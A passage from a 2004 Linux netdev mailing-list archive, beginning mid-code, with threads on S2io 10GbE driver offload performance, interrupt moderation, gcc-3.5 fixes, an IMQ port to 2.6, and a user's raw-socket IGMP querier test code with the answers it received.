vc.vifc_rate_limit = 4096; vc.vifc_lcl_addr.s_addr = inet_addr(argv[1]); E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_ADD_VIF, (void *)&vc, sizeof(vc))); while(1) { char buf[4096]; struct sockaddr_in sender; socklen_t sendsize = sizeof(sender); int size = recvfrom(mrouter_s4, buf, 4096, 0, (struct sockaddr *) &sender, &sendsize); printf ("got %d from %s\n", size, inet_ntoa(sender.sin_addr)); } } From leonid.grossman@s2io.com Sun Jan 25 09:58:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 09:58:26 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PHwA7J006262 for ; Sun, 25 Jan 2004 09:58:11 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0PHvTFG014127; Sun, 25 Jan 2004 12:57:30 -0500 (EST) Received: from lgt40 ([192.168.0.4]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0PHvRKK025448; Sun, 25 Jan 2004 12:57:27 -0500 (EST) From: "Leonid Grossman" To: "'Andi Kleen'" Cc: , Subject: RE: FW: Submission for S2io 10GbE driver Date: Sun, 25 Jan 2004 09:56:47 -0800 Message-ID: <009001c3e36c$9b6f1f70$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <20040124155809.15fe167e.ak@suse.de> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2783 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > > In Linux, there are couple performance issues that we see > > - transmit performance is noticeably worse than in Windows > > In Linux 2.6 with TSO? You are right, sorry.. It's TS0 not LSO in Linux and Unix. After doing first ndis Send offload implementation back at Alteon, LSO acronym got engraved into my brain :-) > > Other than that I would suggest to enable oprofile on 2.6 and post > the profile numbers on the list. Will do. Also - it's a bit embarrassing to admit but I suspect 2.6 installations that my test and development teams do are still more art than science, I'm not sure we always end up with a trusted setup. Could someone point me towards a good description of upgrading to 2.6 kernel, either from RH AS 3.0 or from Suse distribution? > > > - checksum in 2.4 seems to be calculated by the host even if the > > device enables checksum offload > > You have to use sendfile() for TX checksum off load. Without that the > data needs to be copied anyways and a copy+csum is about the > same cost as a simple copy. We've done couple quick tests on this recently with benchmarking software - Chariot has some scripts that use sendfile(), and also one of nttcp versions has -f option. In both cases, using sendfile() did not seem to improve the maximum send performance on 10GbE; we are planning to do some more testing though... > > > - Large Send Offload in 2.6 (no LSO in 2.4) give much smaller boost > > comparing to Windows; on some systems there is no gain from LSO at > > all. > > You mean TSO? Are you sure the test programs submitted big enough > buffers to the TCP stack? The driver is definitely getting large send requests, if this is what you are asking. Our testing with 2.6 up to date is pretty limited, but on some server configurations we see some noticeable performance gain from TSO (the gain is smaller than from LSO in Windows though), on other setups performance with TSO enabled is the same or even less that without TSO enabled. Thanks for the advice, looks like we have couple things to try. Regards, Leonid > > > -Andi > From hadi@cyberus.ca Sun Jan 25 11:08:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:08:23 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJ877J008137 for ; Sun, 25 Jan 2004 11:08:08 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Akpbu-0002jx-VC; Sun, 25 Jan 2004 14:07:55 -0500 Subject: RE: FW: Submission for S2io 10GbE driver From: jamal Reply-To: hadi@cyberus.ca To: Leonid Grossman Cc: "'Andi Kleen'" , netdev@oss.sgi.com In-Reply-To: <002401c3e2b3$94038d70$0400a8c0@S2IOtech.com> References: <002401c3e2b3$94038d70$0400a8c0@S2IOtech.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075057635.1747.76.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 14:07:16 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2785 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-24 at 14:52, Leonid Grossman wrote: > > What would also be interesting to see is a packet that never > > leaves the kernel such is in forwarding. If theres a way you > > can stash two of those cards in a box and just have them > > forward packets coming in from one to another - would be nice > > to see the numbers with varying packet size example { > > 64,256,512,1518, 4K, 9K} > > > > cheers, > > jamal > > > Hi Jamal, > Are you suggesting to run a benchmark between two back-to-back hosts, > and then run the same benchmark between the two hosts via a third box > (with two 10GbE cards) that would just forward traffic, and compare the > results? > Or you had a different setup in mind? Just a simple test for packets that dont cross user space - kernel boundary. Example forwarding of some form where a packet comes in, data gets touched (ttl, csum etc) and gets forwarded to the egress port. The setup will include a single box with two NICs; one connected to a traffic generator source the other to a sink which records stats. The interesting measurements will packet latency and throughput. Get a off the shelf traffic generator like an IXIA (pktgen may be used too); i.e forget ttcp and relatives. For starters you could even have a packet coming in and being DMAed to the otehr NIC untouched. > Not sure what the application for something like this would be (I think > 10GbE will be mainly deployed in a datacenter for a while), but we can > probably run something like that and get the numbers; I'll let you know. > Apps would be any middle box (router, firewall, accounting etc). Interest is more from a linux side what can we do to improve things. cheers, jamal From davem@redhat.com Sun Jan 25 11:07:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:07:53 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJ7a7J008122 for ; Sun, 25 Jan 2004 11:07:40 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA31035; Sun, 25 Jan 2004 10:58:43 -0800 Date: Sun, 25 Jan 2004 10:58:43 -0800 (PST) Message-Id: <20040125.105843.15258420.davem@redhat.com> To: akpm@osdl.org Cc: netdev@oss.sgi.com Subject: Re: [patch 3/18] gcc-3.5: ax25 From: "David S. Miller" In-Reply-To: <200401251106.i0PB6xo25047@mail.osdl.org> References: <200401251106.i0PB6xo25047@mail.osdl.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2784 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: akpm@osdl.org Date: Sun, 25 Jan 2004 03:06:59 -0800 (Why is x25_alloc_socket() using GFP_ATOMIC?) x25_dev.c:x25_receive_data() runs from softint, which calls af_x25.c:x25_rx_call_request() which calls af_x25.c:x25_make_new() which calls af_x25.c:x25_alloc_socket(). From davem@redhat.com Sun Jan 25 11:14:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:14:45 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJEW7J008974 for ; Sun, 25 Jan 2004 11:14:32 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA31255; Sun, 25 Jan 2004 11:05:37 -0800 Date: Sun, 25 Jan 2004 11:05:36 -0800 (PST) Message-Id: <20040125.110536.26281486.davem@redhat.com> To: akpm@osdl.org Cc: netdev@oss.sgi.com Subject: Re: gcc-3.5 patches From: "David S. Miller" In-Reply-To: <20040125030624.54abfacf.akpm@osdl.org> References: <20040125030624.54abfacf.akpm@osdl.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2786 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Andrew Morton Date: Sun, 25 Jan 2004 03:06:24 -0800 Dave, let me unload a bunch of patches which fix compilation errors and warnings with gcc-3.5. Most or all of these are applicable to gcc-3.4 as well. The most common problem is using a typecasted expression as an lvalue. This is actually a fatal error in gcc-3.5. All applied, except the drivers/net ones (sans tg3) which Jeff said that he got. The sctp fix is interesting - sctp.h is using attribute((packed)) on all its structures and as far as I can tell, it never did anything. Amusing... From hadi@cyberus.ca Sun Jan 25 11:15:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:15:44 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJFU7J009244 for ; Sun, 25 Jan 2004 11:15:30 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Akpj6-0003SU-Ck; Sun, 25 Jan 2004 14:15:20 -0500 Subject: RE: FW: Submission for S2io 10GbE driver From: jamal Reply-To: hadi@cyberus.ca To: Leonid Grossman Cc: netdev@oss.sgi.com In-Reply-To: <002501c3e2b5$543c45e0$0400a8c0@S2IOtech.com> References: <002501c3e2b5$543c45e0$0400a8c0@S2IOtech.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075058082.1746.85.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 14:14:42 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2787 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-24 at 15:04, Leonid Grossman wrote: > These schemes could be complimentary, right now we do see that different > thresholds need to be programmed for regular and Jumbo traffic. > > One thing I did not mention is that our ASIC supports several > utilization thresholds on per interrupt basis (up to 64 MSI-X > interrupts). There are also independent tx and rx queues, and each can > have it's own interrupt. There is a pretty large number of parameters > that traffic could be steered upon, packet size is one of them. > Would be interesting to see what these queue selection parameters are. For example, an extremely important thing to avoid is reordering of packets. You reorder packets on a TCP flow and you perfomance goes beserk. > So, if you want to have different interrupt moderation schemes for > different packet sizes, you just need to steer packets to separate > queues based upon size, and then assign a separate MSI interrupt to > these queues and set different utilization thresholds for different > interrupts. At any given workload, you will be getting interrupts at > different rate for small and for big packets. Does sound interesting, but i am suspcious about reordering; i.e you dont want a 64 byte packet from one flow to be in a different queue than another which is 1500 bytes. The 2 packet must be processed strictly in FIFO manner. > Anyway, you are right there are many interrupt moderation schemes that > host driver can deploy, our goal was to provide a flexible hardware > assist. So is it possible to program it such that if a threshold interupt rate is crossed it adjusts its mitigation values? actually i should say its the second order effect that is of interest to the threshold i.e the integral of the interupt arrival rate. cheers, jamal From davem@redhat.com Sun Jan 25 11:16:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:16:54 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJGf7J009789 for ; Sun, 25 Jan 2004 11:16:41 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA31293; Sun, 25 Jan 2004 11:07:47 -0800 Date: Sun, 25 Jan 2004 11:07:46 -0800 (PST) Message-Id: <20040125.110746.116355613.davem@redhat.com> To: rddunlap@osdl.org Cc: netdev@oss.sgi.com Subject: Re: [janitor] netfilter: propogate return values From: "David S. Miller" In-Reply-To: <20040124222337.752a768a.rddunlap@osdl.org> References: <20040124222337.752a768a.rddunlap@osdl.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2788 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Randy.Dunlap" Date: Sat, 24 Jan 2004 22:23:37 -0800 Please apply to 2.6.current. ... From: Daniele Bellucci Applied, thanks. From davem@redhat.com Sun Jan 25 11:19:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:19:22 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJJ97J010191 for ; Sun, 25 Jan 2004 11:19:09 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA31320; Sun, 25 Jan 2004 11:10:14 -0800 Date: Sun, 25 Jan 2004 11:10:14 -0800 (PST) Message-Id: <20040125.111014.68044194.davem@redhat.com> To: rddunlap@osdl.org Cc: netdev@oss.sgi.com Subject: Re: [janitor] get_stats: collapse conditionals From: "David S. Miller" In-Reply-To: <20040124221928.16f4c708.rddunlap@osdl.org> References: <20040124221928.16f4c708.rddunlap@osdl.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2789 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Randy.Dunlap" Date: Sat, 24 Jan 2004 22:19:28 -0800 Please apply to 2.6.current. ... From: Domen Puncer Applied, although I changed } else to } else From davem@redhat.com Sun Jan 25 11:34:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:34:52 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJYc7J010884 for ; Sun, 25 Jan 2004 11:34:39 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA31386; Sun, 25 Jan 2004 11:25:43 -0800 Date: Sun, 25 Jan 2004 11:25:42 -0800 (PST) Message-Id: <20040125.112542.10303353.davem@redhat.com> To: sebek64@post.cz Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, kaber@trash.net Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: "David S. Miller" In-Reply-To: <20040125152419.GA3208@penguin.localdomain> References: <20040125152419.GA3208@penguin.localdomain> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2790 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: sebek64@post.cz (Marcel Sebek) Date: Sun, 25 Jan 2004 16:24:19 +0100 I have ported IMQ driver from 2.4 to 2.6.2-rc1. Original version was from http://trash.net/~kaber/imq/. Patrick, do you mind if I merge this 2.6.x port into my tree? From hadi@cyberus.ca Sun Jan 25 11:36:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 11:36:20 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PJa67J011088 for ; Sun, 25 Jan 2004 11:36:07 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Akq34-0005vi-UX; Sun, 25 Jan 2004 14:35:59 -0500 Subject: Re: user space multicast routing interface From: jamal Reply-To: hadi@cyberus.ca To: David Lamparter Cc: netdev@oss.sgi.com In-Reply-To: <4013FEC9.1070900@diac24.net> References: <4013FEC9.1070900@diac24.net> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075059324.1745.95.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 14:35:24 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2791 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hi, consider using a BPF filter to capture only IGMP. If you google nicely she may tell you something useful. cheers, jamal On Sun, 2004-01-25 at 12:37, David Lamparter wrote: > Hi, > > [...skip down if you don't like long "sorry for mailing" mails ;)] > > first of all, please excuse me mailing to netdev for a not directly > kernel related Linux networking question - i didn't find any other place > where i could ask... > > I recently started playing around with multicast routing for educational > purposes; multicast client software was easy to write, ran well and > there were lots of docs about setsockopts etc. > > Continuing on my way, I'm trying to write a simple IGMP querier now, but > even getting started turns out to be pretty difficult here, almost no > docs exist (well, the FreeBSD manpage...). I tried everything coming to > my mind, but i wasn't even able to get to receiving all IGMP packets on > an interface. > > [...stop skipping here] > > so, 2 questions: > * what sockopts are neccessary to get all IGMP packets (all multicast > groups) on a raw socket? (MRT_INIT / MRT_ADD_VIF should do it, but it > doesn't work) > * is it possible to bind VIFs to interface indices? in ipmr.c / struct > vifctl there is no ifindex parameter (real interface, not vif) > > as you can see from the 2nd question, i at least tried reading the > kernel source (2.6.1), but i don't know the stack so its difficult to > understand... > > David Lamparter > > > > Appended: testing code for IGMP > > no error messages on 2.6.1, interface has > flags while code is running, vif shows > up under /proc/net/ip_mr_vif: > Interface BytesIn PktsIn BytesOut PktsOut Flags Local Remote > 1 eth0 0 0 0 0 08000 160216AC 00000000 > > > > #define E(x) if (x) printf ("error doing %s: %d [%s]\n", \ > #x, errno, strerror (errno)); > int main(int argc, char **argv) > { > int mrouter_s4; int p = 1; struct vifctl vc; > > mrouter_s4 = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); > E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_INIT, > (void *)&p, sizeof(p))); > > memset(&vc, 0, sizeof(vc)); > vc.vifc_vifi = vc.vifc_threshold = 1; > vc.vifc_rate_limit = 4096; > vc.vifc_lcl_addr.s_addr = inet_addr(argv[1]); > E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_ADD_VIF, > (void *)&vc, sizeof(vc))); > > while(1) { > char buf[4096]; struct sockaddr_in sender; > socklen_t sendsize = sizeof(sender); > int size = recvfrom(mrouter_s4, buf, 4096, 0, > (struct sockaddr *) &sender, &sendsize); > printf ("got %d from %s\n", size, > inet_ntoa(sender.sin_addr)); > } > } > > > > > > From master@tentacle.sectorb.msk.ru Sun Jan 25 12:55:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 12:55:40 -0800 (PST) Received: from tentacle.sectorb.msk.ru (postfix@tentacle.s2s.msu.ru [193.232.119.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PKtE7J017384 for ; Sun, 25 Jan 2004 12:55:14 -0800 Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 28D2B2262; Sun, 25 Jan 2004 23:21:49 +0300 (MSK) Date: Sun, 25 Jan 2004 23:21:49 +0300 From: "Vladimir B. Savkin" To: jamal Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040125202148.GA10599@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075058539.1747.92.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2792 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Sun, Jan 25, 2004 at 02:22:19PM -0500, jamal wrote: > > There has been no real good reason as to why IMQ is needed to begin > with. It may be easy to use and has been highly publized (which is > always a dangerous thing in Linux). > > Maybe lets take a step back and see how people use it. How and why do > you use IMQ? Is this because you couldnt use the ingress qdisc? Think multiple clients connected via PPP. I want to shape traffic, so ingress is out of question. I want different clients in a same htb class, so using qdisc on each ppp interface is out of question. It seems to me that IMQ is the only way to achieve my goals. > Note, the abstraction to begin with is in the wrong place - it sure is > an easy and nice looking hack. So is the current ingress qdisc, but we > are laying that to rest with TC extensions. > > ~ :wq With best regards, Vladimir Savkin. From dlstevens@us.ibm.com Sun Jan 25 13:37:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 13:37:31 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PLb87J018802 for ; Sun, 25 Jan 2004 13:37:16 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0PLa24E311008; Sun, 25 Jan 2004 16:36:12 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0PLZpRP087710; Sun, 25 Jan 2004 14:35:52 -0700 Importance: Normal Sensitivity: Subject: Re: user space multicast routing interface To: David Lamparter Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Sun, 25 Jan 2004 13:35:48 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/25/2004 14:35:52 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4B5DFE6B2BA8f9e8a93df938690918c07BBE4B5DFE6B2BA" Content-Disposition: inline X-archive-position: 2793 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B5DFE6B2BA8f9e8a93df938690918c07BBE4B5DFE6B2BA Content-type: text/plain; charset=US-ASCII For an IGMPv3 querier, which doesn't have to be a multicast router, all you really need to do is create a raw socket with proto IPPROTO_IGMP and join the "all multicast routers group" (224.0.0.22) on the interface you care about. Send the query to 224.0.0.1 and do a recvfrom() for the response. +-DLS David Lamparter @oss.sgi.com on 01/25/2004 09:37:13 AM Sent by: netdev-bounce@oss.sgi.com To: netdev@oss.sgi.com cc: Subject: user space multicast routing interface Hi, [...skip down if you don't like long "sorry for mailing" mails ;)] first of all, please excuse me mailing to netdev for a not directly kernel related Linux networking question - i didn't find any other place where i could ask... I recently started playing around with multicast routing for educational purposes; multicast client software was easy to write, ran well and there were lots of docs about setsockopts etc. Continuing on my way, I'm trying to write a simple IGMP querier now, but even getting started turns out to be pretty difficult here, almost no docs exist (well, the FreeBSD manpage...). I tried everything coming to my mind, but i wasn't even able to get to receiving all IGMP packets on an interface. [...stop skipping here] so, 2 questions: * what sockopts are neccessary to get all IGMP packets (all multicast groups) on a raw socket? (MRT_INIT / MRT_ADD_VIF should do it, but it doesn't work) * is it possible to bind VIFs to interface indices? in ipmr.c / struct vifctl there is no ifindex parameter (real interface, not vif) as you can see from the 2nd question, i at least tried reading the kernel source (2.6.1), but i don't know the stack so its difficult to understand... David Lamparter Appended: testing code for IGMP no error messages on 2.6.1, interface has flags while code is running, vif shows up under /proc/net/ip_mr_vif: Interface BytesIn PktsIn BytesOut PktsOut Flags Local Remote 1 eth0 0 0 0 0 08000 160216AC 00000000 #define E(x) if (x) printf ("error doing %s: %d [%s]\n", \ #x, errno, strerror (errno)); int main(int argc, char **argv) { int mrouter_s4; int p = 1; struct vifctl vc; mrouter_s4 = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_INIT, (void *)&p, sizeof(p))); memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = vc.vifc_threshold = 1; vc.vifc_rate_limit = 4096; vc.vifc_lcl_addr.s_addr = inet_addr(argv[1]); E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_ADD_VIF, (void *)&vc, sizeof(vc))); while(1) { char buf[4096]; struct sockaddr_in sender; socklen_t sendsize = sizeof(sender); int size = recvfrom(mrouter_s4, buf, 4096, 0, (struct sockaddr *) &sender, &sendsize); printf ("got %d from %s\n", size, inet_ntoa(sender.sin_addr)); } } --0__=07BBE4B5DFE6B2BA8f9e8a93df938690918c07BBE4B5DFE6B2BA Content-type: text/html; charset=US-ASCII Content-Disposition: inline

For an IGMPv3 querier, which doesn't have to be a multicast router,
all you really need to do is create a raw socket with proto IPPROTO_IGMP
and join the "all multicast routers group" (224.0.0.22) on the interface you
care about. Send the query to 224.0.0.1 and do a recvfrom() for the
response.

+-DLS

Sent by: netdev-bounce@oss.sgi.com

To: netdev@oss.sgi.com
cc:
Subject: user space multicast routing interface



Hi,

[...skip down if you don't like long "sorry for mailing" mails ;)]

first of all, please excuse me mailing to netdev for a not directly
kernel related Linux networking question - i didn't find any other place
where i could ask...

I recently started playing around with multicast routing for educational
purposes; multicast client software was easy to write, ran well and
there were lots of docs about setsockopts etc.

Continuing on my way, I'm trying to write a simple IGMP querier now, but
even getting started turns out to be pretty difficult here, almost no
docs exist (well, the FreeBSD manpage...). I tried everything coming to
my mind, but i wasn't even able to get to receiving all IGMP packets on
an interface.

[...stop skipping here]

so, 2 questions:
* what sockopts are neccessary to get all IGMP packets (all multicast
groups) on a raw socket? (MRT_INIT / MRT_ADD_VIF should do it, but it
doesn't work)
* is it possible to bind VIFs to interface indices? in ipmr.c / struct
vifctl there is no ifindex parameter (real interface, not vif)

as you can see from the 2nd question, i at least tried reading the
kernel source (2.6.1), but i don't know the stack so its difficult to
understand...

David Lamparter



Appended: testing code for IGMP

no error messages on 2.6.1, interface has
<BROADCAST,MULTICAST,ALLMULTI,UP> flags while code is running, vif shows
up under /proc/net/ip_mr_vif:
Interface      BytesIn  PktsIn  BytesOut PktsOut Flags Local    Remote

    1 eth0              0       0         0       0 08000 160216AC 00000000
<cut includes for space issues>

#define E(x) if (x) printf ("error doing %s: %d [%s]\n", \
#x, errno, strerror (errno));
int main(int argc, char **argv)
{
        int mrouter_s4; int p = 1; struct vifctl vc;

        mrouter_s4 = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
        E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_INIT,
              (void *)&p, sizeof(p)));
        memset(&vc, 0, sizeof(vc));
        vc.vifc_vifi = vc.vifc_threshold = 1;
        vc.vifc_rate_limit = 4096;
        vc.vifc_lcl_addr.s_addr = inet_addr(argv[1]);
        E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_ADD_VIF,
              (void *)&vc, sizeof(vc)));
        while(1) {
        char buf[4096]; struct sockaddr_in sender;
        socklen_t sendsize = sizeof(sender);
        int size = recvfrom(mrouter_s4, buf, 4096, 0,
              (struct sockaddr *) &sender, &sendsize);
              printf ("got %d from %s\n", size,
        inet_ntoa(sender.sin_addr));
        }
}






